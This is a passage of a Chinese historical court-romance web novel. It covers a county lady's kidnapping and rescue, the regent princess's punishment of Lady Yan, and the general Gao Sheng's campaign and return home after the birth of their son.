话音落,陈六又踢来一脚,他顺势抓起地上土块砸向陈六,陈六往后躲,他便寻到机会从地上爬起来,和陈六打成?一团。 小桃头上伤着,衣衫凌乱,整个人脑中几乎一片空白,但深知此刻可能是最后的逃命机会,从麻袋里钻出来就?往前?跑。 她被装在麻袋里那么久,腿脚都是麻的,胳膊还被绑着,跑一步就?摔了一跤,眼看第二?个人也追了上来,顾不上身上散乱的衣服,继续往前?跑。 不知后面怎样了,但没一会儿就?听见人追上来的声音。 前?面出现岔路,她想起刚才那人的话,左转是什么后门,所以就?往左转。 才跑出几十步,头发突地被人拽住,她整个人都摔倒在地上。 “还跑!”那人踹了她一脚,正踹在胸口,让她好半天喘不上气,随即那人就?再次将?她扛起往回走。 她在后面大叫:“救命,救命——” 这段路两旁都是树木,也不像有人的样子,只是远处隐隐有人声,似乎离闹市并不远。 因?她大叫,扛她的人心中着急,就?加快步子往后跑,跑出几步,终于和陈六会合。 陈六鼻青脸肿,过来接应,见小桃大叫,塞嘴的布又没了,他刚和马毅一番打斗,此时又累又气,看看周围,还不辨方?向,顿时一恼,烦躁道:“他妈的,在这儿将?你解决算了,死了也能上!” 说着就?要去掐她脖子,就?在此时,一阵马蹄声传来。 几人抬头,就?见两名军士骑马往这边来,一见此情形,立刻道:“什么人——”说着就?拔刀。 陈六两人完全没见过这阵势,立刻扔了小桃退向一边,随后就?反应过来往回跑,那两名军士大喝:“站住!” 一边喊着,二?人也骑马过来,朝下面几乎不成?人样的少女试探着唤道:“县君?” 第56章 第 56 章 小桃全身都?没了力气, 几?乎已经绝望,此时喜极而泣道:“我是……” 军士立刻下马,另一人道:“我去追那两人, 你快带县君回去!” 军士便过来替小桃割开绑着手腕的藤蔓, 将她?放上马,带她?回去。 走出二里地, 小桃才知?这竟是普渡寺附近。 对,刚才那人说的是,左转是普渡寺后?门,他是这样说的。 此刻寺院附近全是兵士, 有京兆府的人,有廷尉府的人, 还有禁军, 小桃一被找到?, 便迅速上马车送往公主府,其余人则一齐去追捕那四?个流民。 自从得知?小桃失踪, 司妤就一直在府上等着消息。 先是廷尉府说她?疑似是被几?个乞丐带走,之后?又说在慢慢调查。 她?心焦不已, 再次下令要尽快,尽快。 一个女子,落入几?个男人手中, 后?果可想而知?。 她?最初想,定要以最快的时间找到?, 确保她?完好无损。 后?来想, 不管怎样, 一定要留下性命…… 没想到?两个时辰后?,竟有人回来禀报找到?了。 她?再问详情, 来人说她?似乎有伤,但性命无虞,但说话语气吞吞吐吐,她?便知?道定是不好。 尽管心里已有准备,但真正见到?小桃时,又忍不住心揪成一团。 她?不知?小桃能?不能?承受,又不知?此事?被高盛得知?,他要如何愤怒心痛。 小桃被送进了房间,司妤早已命人去请医士,自己坐在小桃旁边,眼中微湿道:“是我的错,没有护卫好你,现在没事?了,什么事?也?没了。” 一边说着,一边亲自接过丫鬟手中浸了热水的帕子,替小桃擦脸上的泥污。 擦去泥污,便露出青紫,她?又看了小桃脑后?的伤,发现伤口不大,血已经凝固了。 手腕也?是伤,上面全是被绑的红印子。 小桃从没见长公主这么温柔的时候,她?总是端端正正坐在那里,一个神情,一句话,都?是那么恰到?好处,端庄、温婉,或是威严,但从没有亲切。 她?一直是长公主,要恭恭敬敬行礼的长公主,但此刻她?竟为?自己哭了,竟说这么多宽慰的话,还给自己擦脸,让小桃觉得她?好像真的是自己的婶婶,或者说……是个亲近的人。 小桃开口道:“公主,我没事?,就是挨了几?下,养一养应该就好了。” 司妤见她?神色正常,又见她?身上衣服虽然凌乱,但里衣还是好好穿着的,这才知?道她?果真没受侮辱,便觉庆幸,松了一口气,和她?道:“今日起,我给你安排一队侍卫,以后?出门务必让侍卫随侍左右,那几?个劫掳你的人一个也?逃不掉,我定会好好调查,不会让他们死得轻松。” 她?说这几?个字时,语速也?算平常,但她?这种身份说要谁死,那是真死。 小桃想起那个让自己快跑的人。 她?立刻道:“是他们中一个人救了我,要不是他我肯定就死了。” 司妤也?觉得奇怪,因为?禁军来报,是在普渡寺后?面几?里地看到?她?的,但照时间,他们该走远了才是。 “好,我会让人好好查的。”司妤道:“你别放在心上,先养伤。” 小桃点?头,她?确实?后?脑疼,脸上疼,胸口疼,哪里都?疼。 没一会儿?医士过来,给她?检查过没有重伤,没伤到?骨头,司妤才放心下来。 之后?让身边人去廷尉府下令,要尽快审出结果,那几?个流民为?何劫掳县君,是否有人指使。 等到?傍晚,廷尉府已经审出了结果,杨权连夜求见。 司妤便去往前?厅。 杨权禀报道:“四?人都?是潼关来的流民,很快就说了实?情,证词能?互相佐证,没有问题,他们说是受人指使。” “什么人?”司妤问。 杨权回答:“目前?还不知?,只知?是一个五十来岁的老妇人,头发灰白,穿金戴银,身着锦衣,十分体面。那妇人在破庙找到?他们,说……” 见他有迟疑,司妤问:“说什么?” 杨权道:“说让他们劫掳县君,糟蹋之后?杀死,扒掉衣服趁夜扔在大街上,且还说,要糟蹋得足够惨,至少四?人。” 司妤觉得这种要求匪夷所思。 怎么会有人阴暗至此,恶劣至此,杀人都?要杀得如此歹毒。 这更像私怨,而不是政敌,不是针对她?,也?不是针对高盛。 对方似乎要报复一样,而且竟是个妇人,行事?也?十分粗糙,只找了几?个流民,可见不是经常杀人越货的,没有养着打手或杀手。 此时杨权又道:“那几?人说,她?似乎是湖州口音。” 这句话后?,两人都陷入静默中。 湖州,这不是严淮的老家么? 加上严崇文之死,所以严家是要杀王小桃泄愤复仇? 如果是严淮做这件事?,他会做得更隐蔽,或者说他不会去动?小桃,他会针对高盛,因为?他有这样的能?量去试着动?高盛,所以这不像是他干的,更像是……严夫人。 严夫人,她?在后?宅,她?不敢动?高盛和自己这个公主,但她?心怀怨恨,又因为?她?见过小桃,所以将恨意发泄在了小桃身上。 只有女人才能?想出那么侮辱人的死法,因为?她?们太知?道对女人来说怎样最痛苦,最惨,连死都?死得毫无尊严。 “去严家捉拿严夫人和她?身边仆妇,让案犯辨认后?审问,务必查出真相。”她?吩咐。 隔了一会儿?,杨权问:“若严相阻拦,或此事?与严相有关……” 司妤回道:“不论身份,按律捉拿。” “是。”她?说得如此明白,杨权便知?道不用给严相留情面了。 随后?他道:“案犯中有一人与其他三人同村但不同宗,是临时加入,他心生不忍,有意指错方向,让首犯几?人绕了个圈,绕回了普渡寺附近,如此才让县君得救。” “那便待结案时从轻处置吧。”司妤说。 杨权点?头,随即呈上卷宗后?退下。 司妤又将卷宗拿起,细看了一遍。 这卷宗上是四?个人的口供,审得十分详细,如何领到?任务,如何在破庙中等待六七天,又如何得到?消息说来普渡寺,被人告知?要劫掳的对象,中间如何准备行事?,却又改变主意等等,司妤才真正得知?小桃这番之凶险,可以说几?次游走在生死边缘,多亏了那个叫马毅的流民。 而且他出身乡野农家,没来过京城,却只往普渡寺走了一趟,就能?大概算出普渡寺的方向,最后?带着陈六几?人绕路,竟神不知?鬼不觉绕回了普渡寺,还没让他们发现。 这需要此人能?坚守正义,能?沉得住气,能?辨识方向,几?乎算是有勇有谋。 而他只是一个吃不饱饭的流民。 司妤突然对这人有了兴趣,觉得自己之前?确实?草率了,只从轻处置未免太冷漠,这样的人该赏才是。 她?叫来了赵良,吩咐道:“让人去廷尉府说一声,明日带那马毅来见我。” “是,奴才现在去吩咐。”赵良下去了,天色已晚,司妤决定再去看看小桃才回房。 她?到?小桃院中,丫鬟见她?来,正要去通传,司妤开口道:“等一等,县君是否睡了?” 丫鬟回答:“下午的时候睡了,此时不知?醒了没。” “我只是看一眼,不必通传。”她?说着进屋。 里面却是有动?静的,司妤进去,才知?小桃醒了,此时丫鬟在帮她?涂药。 她?胸口被踢了一片青紫,若不是运气好,说不定就断了肋骨。 小桃不好意思,连忙掩住衣服,司妤怜惜道:“没事?,我不看,我在外面等着,你涂好药了我再进来。” 小桃还没说话,她?便退到?了外间。 丫鬟便迅速涂好药,司妤才进来,小桃连忙道:“我知?道公主政事?繁忙,不必专门来看我,我很好,身边这么多人。” 司妤坐到?她?床边:“你来府上这么久,我都?没看过你,也?没照顾过你,是我失职了。今日这事?要是被你表叔知?道,定要大开杀戒。” “公主别告诉表叔。”小桃立刻道,“他在打仗,不能?为?这些事?分心,他以后?回来了也?别和他说,那时候我都?好了。” 司妤轻轻拉起她?的手,轻笑:“好,我先不说。” 她?想起昌乐来,昌乐从小拥有的比小桃多得多,但仍满腹委屈,觉得自己什么也?没有,小桃呢,却什么也?不敢要。 皇上是天之子,皇室血脉天然高人一等,其次是名门望族,至于平民百姓,他们生来是愚笨的、粗俗的、不开智的,也?许就比牲畜强一些,许多人不说,但心底深处就这么想,甚至包括她?自己。 这也?是高盛最不忿的地方,所以他提起士族来,总是阴阳怪气,极尽讽刺。 但真的是这样吗? 贵族看平民,是不是也?像男人看女人呢? 平民真的比贵族差吗?女人真的生来不如男人吗?难道不是……女人从来就没有读书、没有和男人比拼才智的机会? 平民也?是,他们劳碌一生只为?衣食,又哪里有读书开智的机会? 她?又关照小桃几?句才离开。 翌日她?还记得那个救了小桃的流民,到?前?厅见了他。 马毅远远跪在堂下,伏着身子,低着头,只能?看见个身影。 这是觐见公主前?被教好的规矩,不能?直起身,不能?抬头,不能?抬眼,不能?乱动?瞎看,要不然就是不敬。 司妤下令:“上前?一些。” 太监便让他上前?一段,司妤开口道:“到?下面来。” 太监有些意外,带着马毅跪到?了司妤的桌案下面。 马毅身上是一身新衣,大概是廷尉府让他换上的,司妤让他抬头,她?看了一眼,是很朴实?平常的模样。 肤色黑黄,脸颊凹陷,看肩膀骨架是大的,但身上没多少肉,显然是长期忍饥挨饿,风吹日晒。 她?问:“你为?潼关农人,为?何流落京城?” 下面人回道:“一伙士兵过来抢了我们的粮食,还杀人,我就和陈六他们一起逃了。” “是什么士兵?”司妤问。 马毅回答:“不知?道……有人说是长生教,有人说是土匪,还有人说是皇上派的兵。” 司妤明白,这些普通百姓什么也?不知?道,而当今世道,许多地方已经兵匪不分了,反正见了女人和粮食就抢。 她?道:“绝不是皇上派的兵,大约是长生教,朝廷也?很快会派兵去剿灭。”随后?问:“你为?何要救下长庆县君?” 马毅这时忘了规矩,抬起头来,脸上有几?分疑虑。 司妤说:“长庆县君就是你救下的那个姑娘,县君是她?的封号,她?是当今太尉的侄女。” 马毅大概不是很明白这官职,但知?道这是很大的官。 他低下头去:“我……我之前?不知?道她?是县君,也?不知?道陈六他们要我干的是这个活,我以为?是出点?力气……后?来才知?道,这事?我做不到?。” “你为?何认识京城的路?” “不认识,只是猜的,京城不大,大概按方向就能?绕回来。” 司妤又问:“然后?呢?若没有士兵在搜查,回到?普渡寺后?再怎么办?” 马毅回答:“她?的家人肯定会在寺庙附近找她?。” “但那样,要么被他们发现你带错路,要么你们四?人就会被抓去报官,你知?道劫掳贵女,意欲谋害是什么罪吗?” 马毅低下头,沉默不语。 那是一种认罪与认命的态度,似乎就算判了死罪他也?不会多说一句。 司妤道:“待案件查明,你就在公主府做仆从吧,食不裹腹也?不去作恶,是我大兴的子民。” 马毅一惊,几?乎不敢相信。要知?道如今哪怕是最刻薄的地主家的仆从,也?是给口饭就有大堆人去做,更何况是公主府的仆从? 对普通百姓来说,那是比县令还大的官。 好久他才想起来,叩首道:“谢公主——” …… 廷尉府的审理速度十分迅速,买凶杀人者很快就招认,正是严夫人张氏身边的仆妇。 严淮确实?与此事?没关系,但严夫人就是幕后?主使,被押进狱中。 严夫人被收监当日,临汾王就来见司妤,求司妤网开一面。 司妤问:“是严君寿让皇叔来的?” 临汾王正色道:“不是,公主知?道,严相看着温和,却是清正刚直,绝不会求公主徇私。” 司妤问:“既知?道是徇私,为?何皇叔又要来说情?” “为?大计。”临汾王道:“公主为?何不处置严家仆妇,放过严夫人?如此严相定会对公主感恩戴德,涌泉相报。” “哪怕那张氏意欲谋害长庆县君?”司妤道。 临汾王一副苦口婆心模样:“长庆县君可是太尉的侄女,不是公主的侄女,待太尉回来,自会清算,公主又何须抢在前?面了结此案?” 司妤自然明白他的意思:严崇文是高盛杀的,现在严夫人要报复高盛,准备杀王小桃,令王小桃生死一线,他日高盛回来得知?,一定不会善罢甘休,他第?一个就会不顾一切杀了严夫人,至于其他人受不受牵连,待定。 如此,高盛与严淮便结成死仇了,绝不会有缓和的那天,而她?则能?高枕无忧,坐收渔翁之利。 她?道:“皇叔可知?今岁我最痛恨之事?是什么?” 想起前?两日的事?,临汾王回道:“突厥之猖狂。” 不错,两国去年议和,大兴送突厥三十万两白银、三十万匹丝绸,万石粮食,突厥退兵;今年他们说可汗阿蓝吉的妻子病逝了,要大兴送一位公主过去做阏氏,司妤拒绝了,对方便让大兴派使臣前?往悼念。 其实?就是索要财物,大兴打不起仗,同意了,司妤对此如梗在喉。 她?道:“我泱泱兴朝,为?何就不敢打这一仗,为?何就要甘愿被威胁呢?是我们的兵士不勇猛,兵戈不锋利吗?还是我们生来就比不过他们能?征善战? “不,不是。”她?痛声道:“是太尉要去征剿黄承训,是薛迈要去平潼关,是屈继先,余遂等人还虎视眈眈,是我们社稷不稳,我们在内斗。如果皇命一出,能?号令天下,所果这些人都?能?去打突厥,突厥怎敢一再相逼?” 临汾王低下头去,司妤道:“京城暂时能?安稳,全因一致对外,若我与太尉再内斗,谁是鹬谁是蚌?谁又是渔翁?” 临汾王跪下道:“公主说的是,是臣短视狭隘,臣只是觉得……突厥是强敌,太尉也?……不得不防。公主想必也?不曾忘记太尉曾经昭然若揭的野心,他能?暂时收敛,但野心却不会消失,若不尽早防备,就怕反受其害。” 司妤点?头:“皇叔说的我明白,太尉之计,先平定北方,我也?想一切等平定北方再说,在此之前?我不愿做那个先撕毁盟约的人。” 临汾王沉声道:“公主说的是。” 看着似乎被说服了,但下意识就将目光看向她?小腹,只是她?在桌案后?,小腹也?被桌案挡了看不见。 司妤知?道他在担心自己,怕她?与高盛有了孩子就麻痹大意,怕她?过于信任高盛,最后?丢了江山。 而她?呢?其实?,她?也?在茫然中。 第57章 第 57 章 小桃被劫的案件查清, 涉案之人都判处死罪,且是即刻问斩,包括严夫人。 如严夫人这般身份, 处死的文书要?廷尉府盖章, 也要?呈到司妤手中,由司妤批准。 司妤执了朱笔, 在张氏名字上划了圈。原因?是小桃虽无恙,但严夫人之心格外歹毒,手段极其?卑劣,所以严惩。 严淮对此一句话也没有, 不知他是认同,还是暗暗怀恨在心。 反倒是朝廷上其?他大臣暗暗咋舌。 因?为此案其?实有商榷余地, 毕竟王小桃没事, 他们都没想到公主会?重?判此案。 小桃遇险一事司妤没特?地告诉高盛, 但自有人将京中消息事无巨细报于高盛手中。 严夫人被斩半个月后,高盛收到京中来的消息。 见到来信, 高盛先是心惊气愤,没想到他不在京城, 小桃竟险些因?他被害,恨不能亲手手刃那几人;随即又是欣喜,司妤竟处死了严夫人。 她怎么会?下令处死呢?其?实她是可以放过的, 以小桃无碍为由,这样他没话说, 只能回到京城后自己亲自动手。 她竟然处死了。 是为小桃出气, 还是因?为他? 而她竟然什么也没说。 他觉得她似乎有点面冷心热, 口是心非那意思。 他将那信上的文字看了很?久,回味了很?久, 一高兴,走出营帐骑上马,到周围草地上绕了好几圈。 待马停下,他看着茫茫的原野和湛蓝的天空,一时间对她的思念汹涌澎湃,累积到了顶点。 于是策马回营,他去找苏检,找他要?点诗辞歌赋的书。 在苏检那里翻了半天,翻到本?《诗经》,这《诗经》他也有点印象,之前读过一点点。 拿着《诗经》回去,他就开?始在里面翻,最后总算翻到想要?的。 “彼采葛兮,一日不见,如三月兮……” 他将这话一字一句抄在纸上,待抄一遍,自己也默会?了。 想他默书从?没这么快过。 这一刻他意识到这种看似无用的诗词的意义:它们竟能写?出自己说不出的心情。 也恨自己怎么就没点文采,除了想她,便不知还能怎么说,其?实岂只是想她,他比想她还想她。 …… 京城如今已经热了,不只皇宫搬迁,皇帝筹备大婚,公主府也在修整后花园。 司妤从?宫中回来,要?去后院寝房时,偶然在园中看见了马毅。 他与?另两个人在合搬一棵不小的合欢树,要?在园中种下。 司妤几乎没认出他来,在公主府两个月,他吃得饱了,一改以前的面黄饥瘦,竟十分精神,看着便是孔武有力的汉子。 司妤在旁边站了一会?儿,见他虽力气大,但做事细致而有条理,不像其?他仆从?。 其?他人原本?是懒懒散散的,见她的身影,就马上卖力起来,而他不是,他一开?始就是认真?在干活,待她来了,也是那样在干活,并没有刻意比之前利落。 而且那棵合欢树太大,周围也有别的浇水的、栽花的人,并不好施展开?,所以几人需要?配合好,他虽是新来的,却是下指示的那个人。 她看着他将那棵合欢树填好土,然后吩咐身边人道:“去将他叫过来。” 宫女去叫来马毅,马毅向她请安。 司妤看着他问:“这段时日还习惯吗?” “禀公主,习惯。”马毅回答。 司妤问:“你可愿调去做府上护卫?” 马毅一愣,随即道:“愿意!” “护卫的月例不一定比仆人高,且每日都要?训练,并不轻松。”司妤道。 马毅回答:“是,小人愿意。” “为何?”司妤问。 马毅想了想:“小人觉得护卫……大概更出息一些。” 司妤笑了笑,“穷而不移志,从?明?日起,你在我身边做护卫吧。” 马毅立刻谢恩,这时有人来报,邓州有秘信来。 司妤知道这么久,凡军中之事高盛都是写?的军报,而他送来的秘信全是些有的没的,并不要?紧,但此时却忍不住着急,立刻就去寝房,命人将信呈上。 他不知怎么想的,竟抄了一首诗来。 “彼采葛兮,一日不见,如三月兮。 彼采萧兮,一日不见,如三秋兮。 彼采艾兮,一日不见,如三岁兮。” 除此之外,一个字也没有。 可真?有意思,他知道这诗什么意思吗,就抄。 突然抄这么一首诗,莫名其?妙。 一边这样想,一边却又忍不住笑,将那几个字看了又看。 别的不说,他的字却是越写?越好了,莫非打仗之余,还在读书练字么?她可没想到他有这么好学。 提笔许久,她仍是不知道该回什么。 最后看向自己的肚子。 如今她肚子已经很?大了,如缨已经在为她安排稳婆和奶娘,准备过几日就让人入住府上,等着后面的分娩。 临产之日越来越近,不知从?哪天起,她突然就开?始忧心起来,怕自己撑不过那道坎,死在产床上。 这种忧心是无用的,因?为除了安排好医士,找有经验的稳婆,毫无办法,一切只能听天由命。 所以她也将这忧心藏在心里,谁也没有说。 这时她在信上写?道:还有二月将临盆,若我身死而孩儿平安,望你善待。 看上去有些无情无义。 她写?完就卷起来,放进了竹筒。 这的确是她脆弱的忧心之处,可这真?的是她想说的吗?她亦有许多话,却不能说,不敢说。 军报上说,双方决战既将开?始,她发现自己想得最多的,竟然是他一定要?平安无虞。 这封信她没收到回音,因?为送去时,前方正激战。 一个月后,皇帝大婚,立李琚之女为后。 再过一个多月,司妤临盆了,生产从?半夜到第?二天下午,不算轻松,但也不算坎坷,历经好几个时辰,终于成功将孩子生了下来。 稳婆在她耳边笑道:“恭喜公主,是个男孩。” 司妤当时想,还真?被那人盼来了,一直心心念念的儿子。 她在床上看了一眼,小小的,皱皱的,满面通红,奇丑无比,看不出像谁。 直到几天后,孩子长开?了一点,脸开?始白?净了,皮肤光滑了,浓眉大眼,看着像是他爹的模样,竟十分好看。 高盛走之前说要?自己取名,她也懒得同他争,先给?孩子取了个乳名叫小嘉。 小嘉出生第?三天,邓州传来捷报,西凉军大胜。 朝廷上下欢腾,如今定都西昌,政治清明?,京都附近百姓安居乐业,薛迈成功平定潼关?之乱,高盛又大败黄承训,一切一切都往好的方向发展,大兴也许还能兴复起来。 但就在这欢乐中,前线却传来大败的消息。 西凉军大胜后,黄承训躲入邓州城中闭城不出,僵持之下黄承训下属蒋先斩杀黄承训,将其?人头献上,并投降求和,迎西凉军入城。 结果在大军入城后,这蒋先却又反悔了,率军反杀,高盛毫无准备,被烧了粮草,又损兵折将数万,自己也仓皇逃出,败得十分狼狈。 司妤还在月子中,看见战报,也不禁扼腕叹息。 高盛的错,错在大意,攻下黄承训对他来说太顺利了,而他向来狂妄,所以没将投降的蒋先放在心上,纳降竟没缴械,也疏忽大意,没有防备。 临汾王与?李琚二人来见她,语中却并无哀叹,甚至有些欣喜。 一来,黄承训已死,剩下的蒋先其?实不足虑;二来,高盛胜了,但无功而有过,甚至能趁此良机将他重?罚,削职降权。 司妤隔帘躺在床上,和临汾王道:“皇叔说的是,只是可惜了那数万军士。” “好在是西凉军。”临汾王说。 司妤默然未回话。 临汾王随后道:“臣认为,可召回太尉,任命李将军为主将,前去剿灭蒋先。” 闻此言,司妤突然想到了当初的苍岩山之战,高盛领军血战三日挡住了突厥大军,最后得封赏的人却是安朝烈。 因?为安朝烈率大军去收了尾,战绩便算在了他身上。 难道是朝廷不明?白?这样不公吗?当然不是,他们很?明?白?,但他们就是不想高盛跻身将帅之列,就是要?扶持安朝烈,因?为安朝烈是士族。 数年?后,为着不同的原因?,朝廷又作出同样的决定,趁机将高盛以罪臣败将身份召回,再派李琚去立军功,蒋先的兵力与?才能完全不是朝廷的对手,李琚此仗必胜。 到那时,这征黄承训、收复邓州之功就全计在了李琚身上,高盛呢,就是那个大意中计的败军之将。 司妤道:“那太尉若是拒不受命呢?” “那便是抗旨不遵,臣料想太尉也不会?如此大逆不道。”临汾王说。 他用了“抗旨不遵”与?“大逆不道”,这是两条重?罪。意思便是如果高盛不听命,那就是这两条死罪。 而高盛怎会?屈服?他会?索性反了。 当然临汾王与?李琚是不怕的,他们觉得如今高盛为败军,士气衰弱,以朝廷手上之兵力,完全能镇压。 可是,第?一,她不信凭李琚能胜得过高盛;第?二,就算最后李琚胜了,那李琚又怎会?不是下一个安朝烈呢? 她凭什么信李琚而不信高盛? 她又凭什么,要?在这时候对高盛落井下石? 她道:“临阵换将,乃兵家大忌,我已令严相再筹集粮草送往邓州,用不了多久,太尉便会?得胜归朝,国丈固然忠心可靠,换下太尉却也舟车劳顿,易节外生枝。” 她如此说,临汾王只得听令,与?李琚二人退下。 两人出公主府,皆是叹息。 临汾王道:“如此好的机会?,却错失良机,他日这江山怕是都要?……” 高盛毕竟还是太尉,他不好说太直接,又是叹了一声?气。 李琚道:“公主的确英明?,知人善任,从?谏如流,但终究是女人啊,这不是……才诞下麟儿么。” 临汾王直摇头:是啊,才诞下麟儿,所以感情用事,记挂着高盛是孩子的父亲。 两人沉默着,各自离去。 第58章 第 58 章 不过半月, 邓州战报就已急送往京城:高?盛重振旗鼓,斩杀蒋先,歼敌万余人, 俘获降将数名, 敌军数千,派柴进?绪镇守邓州, 不日将班师回朝。 见到战报,司妤松了一口气,心里却知,他果然还是他, 还是那个战无不胜的战神。 彼时正是午后,小嘉喝过奶又睡了, 司妤坐在床边看着他的睡颜, 悄声对他道:“宝儿, 你爹他又胜了,他剿灭了乱臣, 收复了邓州,你爹他是真正的英雄。” 小嘉睡得香甜, 毫无动静。 一天十?二个时辰,他有十?个时辰都是睡着的,让奶娘养在东厢房, 她忙完之后就过来看看,大多数时候都碰不到他醒的时候。 她甚至想, 也许小嘉都不知道她是娘亲吧, 既没喂过奶, 也没怎么?抱过,连小桃都比她来得多。 每每想起?, 心里总有愧疚,却又毫无办法。 她希望等小嘉长大,这天下是安定?的,从前只觉无望,只想不成功便成仁,现在她看到曙光,便不想轻易放弃。 高?盛回朝那日,已是八月,天气阴沉而闷热,他未进?家门,先至宫中觐见皇上。 皇上高?坐龙椅,司妤在皇上旁边的椅子?上,从前司妤是在皇上身后垂帘听政,现在则撤去了珠帘,直接坐在了皇上身侧。 司妤看着殿中的高?盛,开口道:“太尉此行?虽勉强完成君令,却因疏忽大意,致万千将士丧命、万石粮草被毁,京中百姓尚且食不果腹,却还要再?筹粮草送往邓州,太尉可知罪?” 司妤语气严厉,这开端,便已确定?了朝廷的态度,即高?盛此行?罪大于功。 高?盛抬眼,没看皇上,只看向她,他只被允许站在殿中,与?龙椅上的皇帝隔着两丈远的距离,不太能看真切上面人的容颜,只能看见她正襟危坐,神色冷厉。 他低头道:“臣知罪。” 司妤道:“玩忽职守之罪,本该严惩,念在太尉最终能收复邓州,也算以?功抵过,故而从轻发落,罚去太尉此后半年俸禄,降级一等,夺殿上佩兵刃之权。” 有太监过来,卸掉高?盛腰侧佩刀。 高?盛未予反抗,沉默半晌后躬身:“谢皇上,谢公主。” 皇上看一眼司妤,司妤轻轻点头,皇上开口道:“爱卿退下吧。” 高?盛便退出大殿。 此时一阵惊雷,天上忽地下起?雨来,他无从选择,也毫无迟疑踏入雨中。 司妤看着他离去的身影,心中不由隐隐抽痛。 那一刻,她想起?多年前的那个少年,血战之后,部下与?亲人战死,他也被朝廷冷落,没人记得他,当他从苍岩山离开时,又是什么?心情? 她好想……去抱抱他。 此时皇上在座上问司妤:“皇姐,高?盛会心生不满吗?” 司妤收回目光,恢复一脸正色,道:“固然有不满,但?不至反目,这样的处罚是他正好能承受的程度。” 皇上这才心安地点头,他总是怕高?盛,就算现在有李琚这样的大将成了岳父,也依然害怕。 两人随后离开大殿,去见太后。 司妤问皇上:“皇上与?皇后,一切都好么??” 皇上有些不好意思,轻轻点头。 司妤轻笑:“皇后长你一岁,应该比你稳重一些。” “嗯,她很有主意,对母后也孝顺,每日都去向母后请安。”皇上说。 司妤道:“听闻她劝皇上读书,比我还严苛?” 之前就有人禀报过她,皇后竟是个十?分?上进?的人,大婚第二日就劝皇上去读书,皇上还不愿意,她便推着皇上去。 这婚事虽是司妤张罗,但?司妤只是为拉拢李琚,与?皇后就见过一面,听说她娴良淑德,名声不错,具体的自己就不了解了。 皇上叹了口气:“是的。” 司妤笑了笑:“皇后是好意,你别怪她。” “皇姐,我知道。” 司妤多看了两眼弟弟,发现他不知何时长高?了许多,现在比她都高?了。 “一晃你都成婚了,等到明年,大概你也做父亲了。”司妤想说等他做了父亲,就要试着亲政了,又一想,他平时对政事一点也不积极主动,让读个书也要催着逼着,真要他亲政,她也不放心,便什么?也没说。 去见过太后,司妤就回了公主府。 雨还未停,走到后院,正好看见高?盛从厢房出来。 他手上拿着伞,还没打开就走出了屋门,身上竟还是湿的。 这会儿她才在雨幕中看清他的容颜,脸上又黑了一点,瘦了一点,头发和衣着是在入宫前整理过,严肃而整洁,神情却是平静沉着,似乎比年初还沉稳了不少。 她接过如?缨手上的伞,走到他面前,替他遮住雨线,轻声问:“去看过孩子了?” 高?盛静静看她,只觉她不是刚才那个疾言厉色的长公主,随后点点头:“看了,在睡,怕把寒气带进去,就出来了。” “你先去换衣服,午后他会醒来。”她说。 高?盛点头,两人一起?往屋内走。 进?了屋,司妤放下伞,主动拿了张巾帕来替他擦拭脸上和头上的水。 他看了她一眼,问:“怎么??恩威并施,打一巴掌给一个枣?” 她停了下来,听出他语中的不满。 她无法和他说,其实按临汾王那拨人的意思,是要趁机将他重重打压的,她驳回了他们的谏言,为了安抚,也不能对他大加奖赏,若是那样,那时临汾王他们难免不满,要怀疑她妇人之仁,感?情用事,不堪以?辅政。 但?她内心,又怎会不怜惜他?人人都会有大意犯错之时,但?不是人人都能剿灭黄承训这等悍将,也不是人人都能迅速收整军队,扭转败局,一雪前耻。 换了李琚薛迈等人,这一仗能不能胜还两说。 她缓声道:“你就当,刚才坐在大殿上的,是摄政的长公主,她顾及着皇室利益,而现在……是终于盼得夫君回家的妻子?,她顾及的,是你。” 死的是他的部下,他只怕比任何人都心疼,都悔恨自己的大意。 高?盛因她这话,整个人轻轻一震。 就算成婚后,她也不曾正视过两人的关系,她没说过她是他妻子?的话,没说过想他或是念他或是别的什么?,只有偶尔,她才会在似乎脆弱时依偎在他身旁。 很多时候他都觉得她心里只有她那弟弟,有她那司家的天下,就从来没有过他。 这是第一次,她和他说这样的话。 一瞬间,他所有的不安、恼怒、怨恨都没了,只因她这一句话。 只要她这句话就好。 他再?忍不住数月的思念,抱住她,重重吻上她的唇。 司妤几乎是下意识就抱紧他,仰起?头与?他唇齿交缠。 当贴住他怀抱那一刻,她几乎湿了眼眶。 他回来了,平平安安回到了她身边,他没有因她的无情而怪她,没有对她冷漠不睬,他抱她吻她,让她觉得自己是他很在意的人。 是的,她何尝不想他,何尝不担心他,又何尝不心疼他,他在前方出生入死,京中大臣却在后面等着他犯错,好落井下石。 但?一次次,她将这许多感?情压在心底,安心做那个无情无义,只要保住权势、平衡朝廷关系的长公主,但?这一刻,她控制不住,要冷静的念头一闪而过,就被她抛开,她就是想抱他,想靠在他怀中,想与?他融为一体。 他们陷入床中,两人都很疯,好似久旱逢甘霖,称得上抵死缠绵。 直到雨停了,暮色悄然降临,将房中蒙上一层灰色的暗影,一切都变得朦胧不清。 两人赤|身相贴,他将她搂着,待气息渐渐平复。 而后问:“生产还顺利么??” 当初她给他送过信,告知是男孩,乳名一个嘉字,别的什么?也没说。 她回道:“还算顺利,稳婆说孩子?不算大,所以?生下来会轻松。” “但?我现在看他胖。” “是出生后养的,成天吃了睡睡了吃。” 他笑了笑,抚着她的头发,在她额头上,脸上,唇上亲吻。 “没能陪在你身边,生产后也没让你休息,是我不好。” 算下来,他战败的消息传来时,正好是她才临盆几天。 她摇摇头:“还好,我见过打仗,知道你时刻都不轻松,我那不算什么?。” 怎么?不算什么?呢?她都预测自己死了,他见过难产而死的孕妇,也知道她其实很惜命。 他将她往怀里一收。 她是大兴尊贵的公主,她倾国倾城,雍容华贵,而今却为他生了个孩子?。 他们的孩子?啊……他想起?那时候在苍岩山,那是他此生最难的一仗,没有任何胜算,没有任何希望,只有部下与?亲人不停的死亡,几乎就要打不下去,只靠一个信念支撑:救公主。 她是他们的公主,他不能让她被异族掳去。 如?今,她躺在他怀中,成了他孩子?的母亲。 许多年,心底那个被挖开的洞好似在这一刻填上了,他觉得当年的一腔赤诚与?忠勇有了回应。 她问:“要再?去看看孩子?么??” “嗯。” 于是两人从床上起?来,收拾好,去了厢房。 乳娘却正在哄睡小嘉。 仆妇说小公子?下午是醒的,玩了好久,刚吃过奶,现在又睡了,比平常早了一些。 司妤只好又和高?盛回来,安慰他道:“明天再?看,长得像你。” “他睡着,我看不太出来。像我么??怎么?不像你。”他问。 司妤笑了笑:“那怎么?知道。” 两人回了房,她问他:“大名叫什么?,你想好了吗?” 